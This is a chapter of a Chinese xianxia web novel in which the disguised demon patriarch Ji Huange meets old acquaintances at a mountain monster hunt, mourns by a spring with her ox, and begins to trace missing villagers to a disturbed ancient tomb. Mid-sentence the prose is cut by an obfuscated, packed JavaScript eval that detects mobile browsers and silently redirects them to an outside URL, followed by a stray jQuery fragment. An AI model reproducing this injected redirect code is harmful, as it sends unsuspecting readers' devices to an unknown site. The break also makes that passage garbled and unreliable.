场面僵持良久。
众人见南宫琳琅不动，也不敢随意妄动。
南宫琳琅在权衡。虽说人妖混战后奠定了四大家族的地位，可这一切并未像表面那般平和。赤霄岭丹家缺少一个精明强干的主事人，日渐衰弱。但瑶池境紫家、天衍峰萧家与丹家关系密切，多有帮扶。落月崖南宫府因前战之事，相对独立于三家之外。虽与紫家有联姻，仿佛亲密无间，实则暗流涌动。
先不说萧言蹊是萧家嫡亲血脉，他还是结束人妖混战的大功臣，和他硬碰硬，并无好处。
本来听闻这一处精怪害了不少人，又推测出不是危险性高的妖物。这类害人性命，又不收服的妖物，是新手攒功绩的最佳对象。她才让紫曜前来猎怪，一来可以锻炼猎怪能力，二来可以为他在紫家掌权做铺垫。
眼看现在这场面，即使今日争得这一口气又如何，闹大了，只会适得其反。
南宫琳琅慢慢收回自己凤鸣剑。
一直不喜欢多管闲事的萧言蹊也不知为何忽然插手，南宫琳琅莫名其妙吃了个暗亏。
她咬紧后槽牙，暗暗记下一笔。
南宫琳琅转头，见紫曜还直愣愣地站着，道：“今日也不知什么风把大名鼎鼎的萧道君吹来主持公道了，总能这样精准落在我们头上，也是真够巧合的。”
自从那场人妖混战后，南宫琳琅便一直看不惯萧言蹊。萧言蹊常年不露面，两人相见的次数屈指可数，一旦见面，场面总会闹得很僵。
她明显暗有所指，旁人多多少少猜到她在翻什么旧账。
他们与妖道老祖季欢歌的个人恩怨，谁也理不清楚，谁也不敢明说。
萧言蹊不喜也不屑与她争执，背影渐行渐远。
南宫琳琅话音一转，对这紫曜道：“盯着我干嘛？我脸上有精还是有妖，光看着就猎到怪了？”
紫曜正走神思索南宫琳琅的嘲讽，骂声一下子把他的思绪拉回了，忙招呼人行动。
“等等！”南宫琳琅有些恨铁不成钢，凶道：“把你这杂七杂八的人给我退了，一个小妖，谁叫你这样大张旗鼓的？”
这是紫家为保护紫曜安危，特地给他安排的护卫。
“可是……”紫曜开口解释，又看见南宫琳琅那不容置疑的眼神，即将出口的话又吞了回去，不情不愿地清退带来的修士，对南宫琳琅施了礼，才又重新出发。
他经过季欢歌时，恶狠狠瞪了她一眼，可对上的却是柔柔的目光。
吓得他一激灵，脚步迈得更快了。
紫曜走远后，萧一念对南宫琳琅道：“南宫府主，我们今日也在此处猎怪，会对紫公子多加照看的。”
南宫琳琅瞧着才比紫曜大两岁的萧一念，冷冷道：“不必，你还是先顾好你自己吧。”
说完，也不等晚辈回复，便转身信步下山。
待他们身影消失，萧环晴才靠过来，不满道：“南宫府主果然凶得名副其实。”萧一念不接话，朝萧言蹊离开的方向看去，萧环晴才想起来师父最不喜人背后嚼舌根，连忙双手捂嘴。
一场闹剧落幕，最高兴的属大胆前来分一杯羹的散修们，皆兴高采烈地钻进林中抢怪。
萧一念朝依旧坐在地上的季欢歌伸手，笑道：“宋小姐，要不要随我们一起去？”
见她不回话，萧环晴不满，道：“问你呢，哑巴啦？”
听到“哑巴”二字，季欢歌才意识到，萧言蹊来得轰轰烈烈，竟然一句话也没有说。这么多年了，还是一个冷漠无情的闷葫芦。
吵吵嚷嚷的人群散去，只剩下三人。
季欢歌顿了下，摇头拒绝，一骨碌爬起来，头也不回地朝山里冲去。
没想到会遇到他们。
四周都没人了，她才停住脚步，眼睛失神地看向紫曜和南宫琳琅离开的方向。
此时此刻，她切切实实地感受到什么是近乡情怯。
想相认，想问问他们这些日子过得怎么样，可她怎么忍心继续把南宫府和紫曜再次拖进泥潭。
况且，他们肯定不会原谅她。
季欢歌泪水无声地滑落，支撑身体的力气被抽离得一干二净，她跌坐在地上。
“沙沙”声逐渐靠近，季欢歌抬头，看见蹄子轻轻踩在厚厚的落叶上，落叶在蹄下微微翻卷，老牛缓缓走来，步伐沉稳而从容，来到季欢歌身边，圈着她侧躺，鼻息在寒冷的空气中形成淡淡的白雾。
她躺在温暖的牛肚子上，带泪笑道：“你倒悠闲。”
老牛耳朵抖动，又喷出一圈白雾。此时，又传来脚步声，她抹了两把脸，翘着二郎腿，透过枝叶看天。
“我们转了一圈了，怎么什么都没见着，不会是那个紫小公子给我们设障了吧。”几个粗布麻衣的散修越走越近，抱怨道：“好好一个仙门嫡亲公子，怎么就养成这一副横行霸道，人见人厌的性格。若是未来金道君真把家主之位给他，岂不是会闹翻天？”
季欢歌动作一顿。
“他这一脉就剩这么一个金疙瘩，可不得使劲宠着嘛。”
“老弟，你这话说的，好歹是仙门大家的未来家主，再怎么宝贝也得有个服众的品德吧。”
“话说回来，季欢歌也是真的狠。”
“可不是嘛，也不知是什么仇什么怨，紫曜多少个近亲死在她手里了？”
有人弯着手指算起来：“他父母，亲叔，曾外祖母……”
“说起他的曾外祖母，殷老太也太惨了，终于等来爱孙的冰释前嫌，还没享受天伦之乐，就天人相隔，一生救死扶伤，晚年又因季欢歌身败名裂。”
“怎么说？”
“听说是她把幼年的季欢歌从鬼门关拉回的，还一手带大了，这不很多人怪罪于她嘛。”
“真是一副慈悲心肠，换来狼心狗肺……啊，这怎么还有个疯子！”
季欢歌站在昏暗林中，蓬头垢面的她把几人吓得缩成一团。
几人也不闲聊了，快步离去。
老牛叼起牛绳，放到走神的季欢歌手中，牵着她走。
好一会，季欢歌耳边传来一阵清脆的流水声，顺着声音望去，一条清澈的泉水从山石间蜿蜒而下，月色下水光粼粼。她才发觉，老牛把她带到了这座山命名的缘由处。
心中有些许温暖感动，抬头欲和老牛主慈牛孝一番。
却看到它正在自顾自吃草……
季欢歌面上表情一瞬消失。
想吃牛肉干了！
她走到水潭边，泉边石头上覆盖着一层淡淡的青苔，绿意盎然，泉水透明见底，倒映着一轮半月，以及她乱糟糟容貌。
难怪会吓到人，这人不人，鬼不鬼的模样，是有些骇人。
老牛缓步站到她身边，低头喝水，荡起一圈圈水纹，推散了泉中的倒影。
季欢歌蹲下身子，伸手捧起一汪水，往脸上泼洗，冰冷的泉水让她思绪清晰起来。慢慢洗干净脸后，又十指沾水，稍微梳理了一下头发。
再次看清水中倒影，里面是一个清丽的女子，皮肤白皙如玉，透出一种淡淡的光泽，仿佛从未被世俗的尘埃沾染，季欢歌不禁多看几眼。
眉如远山含黛，眼若秋水，带着一丝柔柔的笑意。
这张脸不会冒出骇人的妖印和妖纹，没有经历过腥风血雨的疲惫，不是人人惧怕的妖道老祖。
季欢歌轻轻抚摸这张陌生的脸，眼圈红了，双手拍拍脸蛋，站起来。
什么时候变得这么多愁善感了，既然选了一条没有退路的路，哪怕脚下是刀山火海，哪怕前方是万丈深渊，也容不得退缩。
季欢歌把心底的脆弱封存起来。
老牛知晓她心情不佳，安静地陪她站潭边，可眼前嫩草实在诱人，悄悄低头吃两口，又快速抬头，若无其事地嚼吧嚼吧。
季欢歌瞥了它一眼，面无表情道：“还没吃饱就吃，别整得我虐待你似的。”
老牛没有表情，说不了话，季欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471960|169904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
歌却感觉老牛似乎暗暗松了口气，低头慢慢吃草。
忽然，老牛猛地抬起头，紧紧盯着林中一个方向，原地转两圈，翘起尾巴就要往反方向跑。
一瞧这反应，季欢歌就猜到，这怂牛感知到妖怪了。
感知能力强，还胆小如鼠，简直比高阶的罗盘还好用。
季欢歌牵起牛绳，扯停老牛，还把它往它警惕的方向拉，这一次却怎么也拉不动这头倔牛。
“我都带你收服好几只小妖了，你怎么还那么胆小？”
再拉，还是拉不动，她无奈道：“你都一把岁数了，要成精了，还害怕个小娃娃？”
见他实在不想去，季欢歌干脆扔了牛绳，自己前往。
老牛见状，急得原地摔蹄子，又转了两圈，还是抬腿跟上。
季欢歌刚进入林子，便听见右侧有窸窸窣窣声响。
她凝神戒备，脚下轻点，几步来到声响处，见到一个趴在地上，正往西爬的瘦小老人家。
老人家戴着纱帽，破旧的衣袍单薄。
季欢歌靠近一看，发现老人家皮肤发青，面容狰狞，大眼眶里眼溜溜两颗闪烁着诡异光芒的眼珠，衣袍下竟然只有一足。
这是山精独足鬼，常在山林中出没，友好时会助人，使坏时会害人，全凭它心情。
季欢歌扯住他衣领，一把把它扯起来，发现它身上有两道伤口，她听见独足鬼口中念念有词。
“让我去，让我去。”
季欢歌问道：“去哪里？”
独足鬼答：“在召唤，他在召唤。”
季欢歌再问：“谁在召唤？”
独足鬼再不答，双手朝一个方向挣扎，正是他刚刚爬行的方向。
季欢歌朝那个方向看去，并无异样，视线再回到独足鬼时，发现它的耳朵也缺了一块。它身上的伤口应是哪位修士伤的，可耳朵缺口显然和山脚那位大婶的一模一样。
独足鬼除了模样吓人些，没有什么威胁，他胆子小，实力弱，遇见凶狠点的人，都会害怕得逃走。
谁会召唤他？
事出反常必有妖！
季欢歌内心生出一股不详的预感，转身离开，身后老牛“哞哞”跟上。
正朝着紫曜入林的方向追去，却遇到了好几批人往另一个方向赶。
她停住脚步，问道：“你们怎么都朝那边走？”
“听说老墓那边有异动。”一小门派青衣修士答得殷勤，甚至脸颊微微泛红。
她只是稍微收拾干净，得到待遇便翻天覆地。
季欢歌再问：“什么异动？”
“老墓泥土是新的，准是墓里有古怪，即使抢不到怪，紫家和萧家公子都在，也还能大开眼界。”
同伴催促青衣修士，他道了个别便连忙追去了。
“姐姐？”身后有人试探地叫唤。
季欢歌回头，是不久前惹怒了紫曜的那一家人。
他们在山脚下听说萧道君摆平了山上的事情，又连忙上来寻，担心季欢歌出事。
名唤莫莫的少女见她无事，还变得整洁干净，心头大石落下，大眼又弯成了月亮。
莫莫父亲递上厚厚一叠黄符：“此山怪异，我们不打算久留，这黄符都给你，防身用。”
季欢歌问：“怪异？”
莫莫父亲：“听说参与迁坟的人都没了。”
接水镇失踪的人，果然与迁坟有关。
季欢歌接过符纸，颔首：“多谢。”
她又叮嘱：“切记，要立刻下山。”
等人离开，季欢歌火急火燎地往古坟方向奔去。
频繁的盗墓、迁坟导致的雪灾、失踪人的缺耳、古墓的新土……一件件事串联起来，便是谜底。难怪普通罗盘指不出方向，难怪有捉不完要的小妖小怪，难怪无人能察觉出异样。
季欢歌抬头，天上乌云缓缓聚拢。
能够做到这一切的，只有那一条老熟妖了。